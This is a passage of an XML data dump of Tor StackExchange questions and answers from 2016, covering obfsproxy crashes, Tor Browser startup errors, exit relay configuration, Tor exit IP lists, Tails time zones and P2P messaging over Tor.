  <row Id="11991" PostTypeId="1" CreationDate="2016-06-30T13:03:18.587" Score="0" ViewCount="443" Body="&lt;pre&gt;&lt;code&gt; sudo obfsproxy&#xA;Traceback (most recent call last):&#xA;  File &quot;/usr/bin/obfsproxy&quot;, line 9, in &amp;lt;module&amp;gt;&#xA;    load_entry_point('obfsproxy==0.2.13', 'console_scripts', 'obfsproxy')()&#xA;  File &quot;/usr/lib/python3.4/site-packages/pkg_resources/__init__.py&quot;, line 558, in load_entry_point&#xA;    return get_distribution(dist).load_entry_point(group, name)&#xA;  File &quot;/usr/lib/python3.4/site-packages/pkg_resources/__init__.py&quot;, line 2682, in load_entry_point&#xA;    return ep.load()&#xA;  File &quot;/usr/lib/python3.4/site-packages/pkg_resources/__init__.py&quot;, line 2355, in load&#xA;    return self.resolve()&#xA;  File &quot;/usr/lib/python3.4/site-packages/pkg_resources/__init__.py&quot;, line 2361, in resolve&#xA;    module = __import__(self.module_name, fromlist=['__name__'], level=0)&#xA;  File &quot;/usr/lib/python3.4/site-packages/obfsproxy/pyobfsproxy.py&quot;, line 183&#xA;    except ValueError, err:&#xA;                     ^&#xA;SyntaxError: invalid syntax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13464" LastActivityDate="2016-06-30T13:24:38.283" Title="obfsproxy crashes" Tags="|obfsproxy|" AnswerCount="1" CommentCount="0" ClosedDate="2016-07-18T19:33:15.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="11992" PostTypeId="1" CreationDate="2016-06-30T13:17:40.260" Score="1" ViewCount="706" Body="&lt;p&gt;In the current (built from GIT) netcipher library &lt;a href=&quot;https://github.com/guardianproject/NetCipher&quot; rel=&quot;nofollow&quot;&gt;https://github.com/guardianproject/NetCipher&lt;/a&gt;&#xA;you can apply the Orbot proxy setting to your own HTTP Client (in my case okhttp3) and control some features of Orbot with the &lt;strong&gt;OrbotHelper&lt;/strong&gt;.&#xA;This works nicely and my HTTP requests source IP gets properly anonymized while running through the local Tor HTTP proxy (127.0.0.1:8118).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But how can I issue programmatically a new circuit/identity/exit-country, over the netcipher library or the OrbotHelper?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't find any method in OrbotHelper that would provide this feature...&#xA;Why not extending the Orbot API to allow (for authenticated) Apps the control of circuit issuing etc.?&lt;/p&gt;&#xA;" OwnerUserId="13469" LastActivityDate="2021-07-13T14:11:31.193" Title="How to request the creation of a new Tor circuit in Orbot with the netcipher library?" Tags="|orbot|android|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11993" PostTypeId="2" ParentId="11991" CreationDate="2016-06-30T13:24:38.283" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;obfsproxy{1,2,3} should all be dead and buried (okay, obfs3 still gets use but there's no reason you should be wanting to run obfs2...)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gitweb.torproject.org/pluggable-transports/obfs4.git/tree/obfs4proxy&quot; rel=&quot;nofollow&quot;&gt;obfsproxy4&lt;/a&gt; should be preferred for pluggable transports (&lt;em&gt;and&lt;/em&gt; it's backwards compatible).&lt;/li&gt;&#xA;&lt;li&gt;It's intended for python2 (specifically &gt;=2.7) see: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/11190&quot; rel=&quot;nofollow&quot;&gt;#11190&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Bonus question: &lt;em&gt;Oh No! Why Are You Running It As Root?!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-30T13:24:38.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11994" PostTypeId="1" CreationDate="2016-06-30T16:10:39.123" Score="9" ViewCount="17222" Body="&lt;p&gt;Hi I'm doing some web development and wanted to be able to do some cross browser testing. Normally I would just point which ever browser I'm using at localhost and go from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately Tor Browser seems to be unable to reach the address. I don't want to expose any unfinished work to the public internet and prefer the convenience of working locally. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="13471" LastActivityDate="2024-01-08T04:32:22.040" Title="How to access local host through tor browser" Tags="|tor-browser-bundle|development|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11997" PostTypeId="2" ParentId="11994" CreationDate="2016-06-30T18:31:20.547" Score="4" Body="&lt;p&gt;You &lt;em&gt;could&lt;/em&gt; set up an onion service with &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#HiddenServiceAuthorizeClient&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;HiddenServiceAuthorizeClient&lt;/code&gt;&lt;/a&gt;, that would allow you, and only you, to access localhost resources through Tor Browser without any modifications or special settings. This is the least likely to fail catastrophically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If&lt;/em&gt; and &lt;em&gt;only if&lt;/em&gt; you are going to use it to view &lt;em&gt;purely&lt;/em&gt; localhost content (e.g. you don't reference external resources on the site) then you might try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set aside a distinct and clearly marked copy of Tor Browser then &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundleSAQ#UsinganupstreamTorTransProxydaemon&quot; rel=&quot;nofollow&quot;&gt;follow this guide&lt;/a&gt; to use Tor Browser with an upstream transproxy, this will make Tor Browser disable its own proxying and just connect directly. You can skip the bits about the control port and ignore the Tor Button errors since you're not using Tor at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;em&gt;cannot&lt;/em&gt; stress enough just how important it is that you &lt;em&gt;do not&lt;/em&gt; allow those environment variables to affect (infect?) any copy of Tor Browser you intend to use for actual browsing. Possibly you want to do this from a computer that is totally disconnected from the network, to be certain.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-30T18:31:20.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12000" PostTypeId="2" ParentId="11796" CreationDate="2016-07-02T01:11:24.717" Score="1" Body="&lt;p&gt;Actually, it's technically impossible to keep browser a privacy-oriented and having a VPN support &lt;strong&gt;from within&lt;/strong&gt; it. The VPN itself, however, can be elaborated in other network layers - but defenately &lt;strong&gt;not&lt;/strong&gt; in browser itself: in a browser you will have an add-on for VPN or something &lt;strong&gt;with&lt;/strong&gt; add-on inside. The add-ons list, however, &lt;em&gt;can be enumerated&lt;/em&gt; and used as a fingerprinting solutions. Also please keep in mind that using even the most trustworthy VPN can result in a very few &quot;exit points&quot; to the Tor network and can be traced. However, using a VPN as an additional way to reach the Tor network is a very good idea&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-07-02T01:11:24.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12001" PostTypeId="1" CreationDate="2016-07-02T14:43:18.460" Score="1" ViewCount="1491" Body="&lt;p&gt;After unpacking the tor browser from &lt;code&gt;https://www.torproject.org/projects/torbrowser.html.en&lt;/code&gt; I cannot start it...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./start-tor-browser.desktop --debug&#xA;Launching './Browser/start-tor-browser --detach --debug'...&#xA;Unable to update the static FcBlanks: 0x0600&#xA;Unable to update the static FcBlanks: 0x0601&#xA;Unable to update the static FcBlanks: 0x0602&#xA;Unable to update the static FcBlanks: 0x0603&#xA;Unable to update the static FcBlanks: 0x06dd&#xA;Unable to update the static FcBlanks: 0x070f&#xA;Unable to update the static FcBlanks: 0x2028&#xA;Unable to update the static FcBlanks: 0x2029&#xA;Unable to update the static FcBlanks: 0xfff9&#xA;Unable to update the static FcBlanks: 0xfffa&#xA;Unable to update the static FcBlanks: 0xfffb&#xA;./Browser/start-tor-browser: line 372: 22261 Segmentation fault TOR_CONTROL_PASSWD=${TOR_CONTROL_PASSWD} ./firefox --class &quot;Tor Browser&quot; -profile TorBrowser/Data/Browser/profile.default &quot;${@}&quot; &amp;lt; /dev/null&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ Browser/./firefox &#xA;tor: symbol lookup error: tor: undefined symbol: evutil_secure_rng_set_urandom_device_file&#xA;&#xA;$ Browser/./start-tor-browser --debug&#xA;Unable to update the static FcBlanks: 0x0600&#xA;Unable to update the static FcBlanks: 0x0601&#xA;Unable to update the static FcBlanks: 0x0602&#xA;Unable to update the static FcBlanks: 0x0603&#xA;Unable to update the static FcBlanks: 0x06dd&#xA;Unable to update the static FcBlanks: 0x070f&#xA;Unable to update the static FcBlanks: 0x2028&#xA;Unable to update the static FcBlanks: 0x2029&#xA;Unable to update the static FcBlanks: 0xfff9&#xA;Unable to update the static FcBlanks: 0xfffa&#xA;Unable to update the static FcBlanks: 0xfffb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do you have any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the error from &lt;strong&gt;Hardened Tor Browser&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`$ ./start-tor-browser.desktop --debug&#xA;Launching './Browser/start-tor-browser --detach --debug'...&#xA;Unable to update the static FcBlanks: 0x0600&#xA;Unable to update the static FcBlanks: 0x0601&#xA;Unable to update the static FcBlanks: 0x0602&#xA;Unable to update the static FcBlanks: 0x0603&#xA;Unable to update the static FcBlanks: 0x06dd&#xA;Unable to update the static FcBlanks: 0x070f&#xA;Unable to update the static FcBlanks: 0x2028&#xA;Unable to update the static FcBlanks: 0x2029&#xA;Unable to update the static FcBlanks: 0xfff9&#xA;Unable to update the static FcBlanks: 0xfffa&#xA;Unable to update the static FcBlanks: 0xfffb&#xA;ASAN:SIGSEGV&#xA;=================================================================&#xA;==4065==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f95ffed4d16 bp 0x7ffed53ea690 sp 0x7ffed53ea628 T0)&#xA;ASAN:SIGSEGV&#xA;==4065==AddressSanitizer: while reporting a bug found another one. Ignoring.`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13484" LastEditorUserId="13484" LastEditDate="2016-07-02T18:03:42.837" LastActivityDate="2016-07-02T18:03:42.837" Title="Tor does not start under Ubuntu 16.04" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="12002" PostTypeId="1" AcceptedAnswerId="12003" CreationDate="2016-07-02T15:37:18.687" Score="0" ViewCount="517" Body="&lt;p&gt;I want to run an exit node, but don't want to risk having to deal with rouge DMCA complaints. I also have (pay for) a high-bandwidth SOCKS5 proxy. I would like to route all exit traffic from my node through this proxy; this will also let me set a less restrictive exit policy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this easily? I've looked at torrc options, and it seems like the Socks5Proxy option &lt;em&gt;nearly&lt;/em&gt; does what I want, but doesn't.&lt;/p&gt;&#xA;" OwnerUserId="13485" LastActivityDate="2016-07-02T17:50:00.207" Title="Exit traffic through a SOCKS proxy" Tags="|exit-relays|socks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12003" PostTypeId="2" ParentId="12002" CreationDate="2016-07-02T17:50:00.207" Score="2" Body="&lt;p&gt;No. There's no mechanism for this in Tor, you'll need to deal with routing the outbound traffic yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also note that the address your relay is listening/running on will be linked to the address that you exit from, it will be observed by &lt;a href=&quot;https://collector.torproject.org/#exit-lists&quot; rel=&quot;nofollow&quot;&gt;CollecTor's TorDNSEL&lt;/a&gt; and distributed in the list of Tor Exits.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-02T17:50:00.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12004" PostTypeId="1" AcceptedAnswerId="12006" CreationDate="2016-07-02T21:31:49.167" Score="0" ViewCount="640" Body="&lt;p&gt;Tor v0.2.3.25 (git-3fed5eb096d2d187) &#xA;It is from Tor Browser bundle, but I need only Tor daemon.&#xA;Linux 3.11.0-26-generic #45-Ubuntu SMP Tue Jul 15 04:02:06 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 03 01:21:04.740 [warn] Failed to parse/validate config: Unknown option 'GeoIPv6File'.  Failing.&#xA;Jul 03 01:21:04.740 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I comment out GeoIPv6File in torrc, tor works well, except warnings about &quot;[warn] Unrecognized SocksPort option '&quot;IPv6Traffic&quot;'&quot;. &#xA;But this option is correct and described in manual, isn't it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something wrong with IPv6 configuration?&lt;/p&gt;&#xA;" OwnerUserId="13486" LastEditorUserId="88" LastEditDate="2016-07-06T08:20:06.120" LastActivityDate="2016-07-06T08:20:06.120" Title="Tor can't start. Unknown option 'GeoIPv6File'" Tags="|configuration|ipv6|" AnswerCount="1" CommentCount="1" ClosedDate="2016-07-06T08:21:03.200" ContentLicense="CC BY-SA 3.0" />
  <row Id="12006" PostTypeId="2" ParentId="12004" CreationDate="2016-07-03T00:41:05.690" Score="0" Body="&lt;p&gt;That's an ancient copy of Tor Browser. Download an up to date version from &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or install the Tor system daemon from the Debian and Ubuntu repos by following the guide at &lt;a href=&quot;https://www.torproject.org/docs/debian.html&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/debian.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Also that's a pretty old kernel...you should definitely be doing software updates)&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-03T00:41:05.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12009" PostTypeId="1" CreationDate="2016-07-03T04:54:33.590" Score="2" ViewCount="2767" Body="&lt;p&gt;I need to use multiple instances of Tor with different IP addresses on each. I looked it up on google and found this &lt;a href=&quot;https://tor.stackexchange.com/questions/2006/how-to-run-multiple-tor-browsers-with-different-ips&quot;&gt;link&lt;/a&gt;. So far I was able to make use of the &quot;manual way&quot; of editing everything and launching the instance. However there are a few problems I see using this method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes a while to edit and launch each instance (5-10mins each)&#xA;After closing each instance, it doesn't work anymore. Hence, I have to redo each instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found in that link an answer where the guy made a &quot;bash script.&quot; Correct me if I'm wrong, but this is for linux. Is there a way to do this in Windows?&lt;/p&gt;&#xA;" OwnerUserId="13490" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-09-08T18:56:45.677" Title="How to run multiple instances of Tor easier?" Tags="|tor-browser-bundle|windows|proxy|bash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12011" PostTypeId="1" AcceptedAnswerId="12012" CreationDate="2016-07-03T08:32:24.913" Score="0" ViewCount="90" Body="&lt;p&gt;I am reading through a paper entitled: LASTor: A Low-Latency AS-Aware Tor Client here: &quot;&lt;a href=&quot;http://freehaven.net/anonbib/cache/oakland2012-lastor.pdf&quot; rel=&quot;nofollow&quot;&gt;http://freehaven.net/anonbib/cache/oakland2012-lastor.pdf&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The authors said that they would publish LASTor client for public use, but I could not find it anywhere on the Internet. Does anyone know where I can get LASTor Client, or is it already a death project?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;/p&gt;&#xA;" OwnerUserId="5202" LastActivityDate="2016-07-03T08:46:31.557" Title="Is LASTor client available to the end user?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12012" PostTypeId="2" ParentId="12011" CreationDate="2016-07-03T08:46:31.557" Score="1" Body="&lt;p&gt;It seems the idea in general is being evaluated under &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6328&quot; rel=&quot;nofollow&quot;&gt;#6328&lt;/a&gt;, I don't think their code ever emerged and it seems from the &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6328#comment:7&quot; rel=&quot;nofollow&quot;&gt;review of LASTor&lt;/a&gt; on the ticket that it wasn't suitable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be interested in reading &lt;a href=&quot;https://blog.torproject.org/blog/research-problem-measuring-safety-tor-network&quot; rel=&quot;nofollow&quot;&gt;Research problem: measuring the safety of the Tor network&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-03T08:46:31.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12014" PostTypeId="1" CreationDate="2016-07-03T09:17:04.117" Score="0" ViewCount="1033" Body="&lt;p&gt;Simple question , im still using vidalia but since fews days im having a message that saying Tor is now obsolete .&#xA;id like to know how to get a Tor update for my vidalia bundle .&#xA;Thanks for answering .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="13493" LastActivityDate="2016-07-03T09:32:51.743" Title="How to update Tor for Vidalia?" Tags="|vidalia|" AnswerCount="1" CommentCount="0" ClosedDate="2016-07-06T08:09:16.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="12015" PostTypeId="2" ParentId="3347" CreationDate="2016-07-03T09:22:56.003" Score="1" Body="&lt;p&gt;Yes, all software is subject to flaws, both in design and implementation. Tor &lt;a href=&quot;https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack&quot; rel=&quot;nofollow&quot;&gt;has had them in the past&lt;/a&gt;, Tor also relies on OpenSSL which has had &lt;a href=&quot;https://www.openssl.org/news/vulnerabilities.html&quot; rel=&quot;nofollow&quot;&gt;numerous vulernabilities&lt;/a&gt;. However, only your guard or a man-in-the-middle between your guard and you can attack a Tor clients OpenSSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The far larger problem, and the source of most of the &lt;a href=&quot;https://motherboard.vice.com/read/the-fbis-unprecedented-hacking-campaign-targeted-over-a-thousand-computers&quot; rel=&quot;nofollow&quot;&gt;large-scale hacks&lt;/a&gt; performed on Tor users is through the application that the user is using over Tor. For example, Tor Browser has &lt;a href=&quot;https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox-esr/&quot; rel=&quot;nofollow&quot;&gt;regular updates that fix vulnerabilities&lt;/a&gt;. This is also why there are efforts to harden the Tor Browser to make it resistant to exploitation through the &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-45-released#Security&quot; rel=&quot;nofollow&quot;&gt;security slider&lt;/a&gt;, &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-55a4-hardened-released&quot; rel=&quot;nofollow&quot;&gt;ASAN&lt;/a&gt;, &lt;a href=&quot;https://blog.torproject.org/blog/selfrando-q-and-georg-koppen&quot; rel=&quot;nofollow&quot;&gt;selfrando&lt;/a&gt; and &lt;a href=&quot;https://trac.torproject.org/projects/tor/query?status=!closed&amp;amp;keywords=~tbb-hardened&quot; rel=&quot;nofollow&quot;&gt;more&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While there is no silver bullet, there are steps that can be taken to be more resistant to and reduce the impact of successful exploitation. See &lt;a href=&quot;https://subgraph.com/sgos/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Subgraph&lt;/a&gt;, &lt;a href=&quot;https://www.qubes-os.org/&quot; rel=&quot;nofollow&quot;&gt;Qubes&lt;/a&gt;, and &lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow&quot;&gt;Whonix&lt;/a&gt; for some examples.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-03T09:22:56.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12016" PostTypeId="2" ParentId="12014" CreationDate="2016-07-03T09:32:51.743" Score="0" Body="&lt;p&gt;Vidalia is deprecated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will not receive further updates and the vidalia bundles haven't received any in some years. If you need to update Tor, you can download a recent copy of &lt;code&gt;tor.exe&lt;/code&gt; from the &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow&quot;&gt;Expert Bundle&lt;/a&gt; for windows or your relevant package manager for Linux or OS X and use that with vidalia.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-03T09:32:51.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12017" PostTypeId="1" AcceptedAnswerId="12018" CreationDate="2016-07-03T09:44:26.163" Score="0" ViewCount="856" Body="&lt;p&gt;I have a website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want to detect if the internet traffic is coming through TOR or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to find If TOR is being used to access my website ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any catalog of IP address that belongs with TOR network ? so that I can cross check with that and ascertain TOR traffic or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dhanyawath,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Raju&lt;/p&gt;&#xA;" OwnerUserId="13492" LastEditorUserId="31632" LastEditDate="2021-05-25T20:40:58.727" LastActivityDate="2021-05-25T20:40:58.727" Title="Detect TOR network using the IP address" Tags="|deanonymization|directory|ip-address|website|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12018" PostTypeId="2" ParentId="12017" CreationDate="2016-07-03T09:49:26.843" Score="0" Body="&lt;p&gt;The list of Exit IP addresses is published by &lt;a href=&quot;https://collector.torproject.org/#exit-lists&quot; rel=&quot;nofollow&quot;&gt;CollecTor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not, and never can be, 100% accurate, there is no way to ascertain certainly by IP address if the connection is coming from Tor.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-03T09:49:26.843" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12020" PostTypeId="1" CreationDate="2016-07-03T12:18:09.587" Score="0" ViewCount="1347" Body="&lt;p&gt;I know there's &quot;Tor Messenger&quot;, but it's centralized, not peer to peer. So I am using &lt;a href=&quot;https://github.com/tux3/qtox&quot; rel=&quot;nofollow&quot;&gt;&quot;qTox&quot;&lt;/a&gt; with Tor, which use &lt;a href=&quot;https://tox.chat/&quot; rel=&quot;nofollow&quot;&gt;Tox&lt;/a&gt; protocol (again, not &quot;tor&quot; but &quot;tox&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, does Tor welcome P2P traffic?&#xA;IIRC I read about the blog which Tor Project yelling &quot;Stop using BitTorrent over Tor&quot;.&lt;/p&gt;&#xA;" OwnerUserId="13497" LastEditorUserId="88" LastEditDate="2016-07-06T20:24:07.713" LastActivityDate="2016-07-06T20:26:11.260" Title="Using Tox(tox.chat) with Tor" Tags="|torsocks|bittorrent|chat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12022" PostTypeId="1" CreationDate="2016-07-03T15:31:51.867" Score="0" ViewCount="119" Body="&lt;p&gt;I was running Wireshark and noticed that my machine sends IMAP requests to 37.187.22.131, which, according to my TorBrowser, is the entry node I'm connected to. Likewise, my machine seems to be receiving IMAP responses from that IP as well. The responses seem to often happen in as low as ~30ms from the request. When I ping the entry node, the latency seems to be ~31ms. This leads me to believe that whatever requests my machine is sending, it is the entry node that is responding to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed another copy of TorBrowser, using a different entry node, and that doesn't seem to have the same problem. Also, when I'm not running a TorBrowser, there is no problem. The data that is being sent and received does not seem to be plain text either, so I don't think this is actual email traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what is going on? I don't think I have any email services running in the background. Even if I did, why would the entry node respond to the requests? Is it possible that the 37.187.22.131 (and one of my copies of TorBrowser) is compromised? Or is IMAP (or IMAP looking) traffic normal for Tor behaviour?&lt;/p&gt;&#xA;" OwnerUserId="13499" LastEditorUserId="88" LastEditDate="2016-07-06T08:12:45.040" LastActivityDate="2016-07-06T08:12:45.040" Title="Suspcious IMAP traffic between my machine and a Tor entry node" Tags="|tor-browser-bundle|security|traffic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12023" PostTypeId="1" CreationDate="2016-07-03T20:04:08.737" Score="1" ViewCount="5097" Body="&lt;p&gt;I just installed tails and after connecting to WiFi I get a pop up message saying that Tor needs to sync system time to work properly. After a while I get a new pop up message confirming that the time is synced and Tor is ready to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the time is wrong (1 hour early). Has this any practical meaning? Is everything working properly even though the time is wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested the connection with check.torproject.com and get the following message:&#xA;&quot;Congratulations. This browser is configured to use Tor&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help on this matter.&lt;/p&gt;&#xA;" OwnerUserId="13502" LastActivityDate="2016-08-02T21:30:20.347" Title="Tails time synchronization wrong (1 hour early). Has this any practical meaning?" Tags="|tails|time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12024" PostTypeId="2" ParentId="12022" CreationDate="2016-07-03T21:00:17.880" Score="2" Body="&lt;p&gt;I don't know if I can mark the question as solved since I am not registered, but here's the (I believe) correct answer: The issue seems to be that the entry node uses the same port as IMAP protocol, leading Wireshark to believe that the traffic is IMAP. Unfortunately, Wireshark doesn't seem to analyze headers by default, leading to this confusing issue.&lt;/p&gt;&#xA;" OwnerUserId="13503" LastActivityDate="2016-07-03T21:00:17.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12025" PostTypeId="2" ParentId="12023" CreationDate="2016-07-03T21:29:57.630" Score="1" Body="&lt;p&gt;Tails sets the timezone to UTC, this means all Tails users appear to be in the same timezone which helps resist fingerprinting (as your timezone relates to your geographic location).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will probably be in a UTC+1 timezone for your localtime, which is why Tails looks to be 1 hour early but functions normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tails developers are looking into having a custom time display so users can see their localtime (while the system itself is still set to UTC).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-03T21:29:57.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12026" PostTypeId="2" ParentId="12020" CreationDate="2016-07-03T21:39:35.797" Score="1" Body="&lt;p&gt;Tox is pretty centralized and it's pretty terrible in a lot of ways, but those points aside peer-to-peer is fine. The problem with bittorrent is that it is high-volume peer-to-peer to a large number of peers. There is no problem with peer-to-peer in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to use peer-to-peer, &quot;decentralized&quot; messaging over Tor, consider that a solution already exists: &lt;a href=&quot;https://ricochet.im&quot; rel=&quot;nofollow&quot;&gt;Ricochet&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it's not subject to all the &lt;a href=&quot;https://en.wikipedia.org/wiki/Not_invented_here&quot; rel=&quot;nofollow&quot;&gt;NIH&lt;/a&gt; junk in Tox. Seriously just read their &quot;onion routing&quot; code, it is utterly horrific. It picks circuits by doing: &lt;code&gt;node[i] = nodes[ rand() % sizeof(nodes) ];&lt;/code&gt; which is wrong in so many ways it hurts.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-07-06T20:26:11.260" LastActivityDate="2016-07-06T20:26:11.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12031" PostTypeId="2" ParentId="6930" CreationDate="2016-07-04T12:23:14.847" Score="2" Body="&lt;p&gt;Answering in the context of the edit (accessing clearnet):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Tor is better than I2P for accessing clearnet, because that is what it was originally designed for. Exit nodes are a fundamental part of the Tor architecture, whereas I2P was designed for in-net communication (there is no difference between a client and server at the network level). In I2P, we call &quot;exit nodes&quot; outproxies, because they are an application-layer service run over I2P (just like websites and IRC servers).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Two-part question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Yes, you can do this; it is how we recommend our users configure their clients or servers if they require both I2P and Tor/clearnet access (rather than relying on the outproxy, which by default will only work for HTTP traffic anyway). See e.g. &lt;a href=&quot;https://tor.stackexchange.com/q/947/1174&quot;&gt;this question&lt;/a&gt; for in-browser, or use a local proxy like Privoxy or Polipo. We have also bundled Orchid (Java Tor) as an I2P plugin if you don't want to run a separate Tor instance; if installed, I2P will use Orchid as the default outproxy for all tunnels (so then you can just use e.g. the I2P HTTP proxy, and I2P will handle the routing of non-I2P requests into 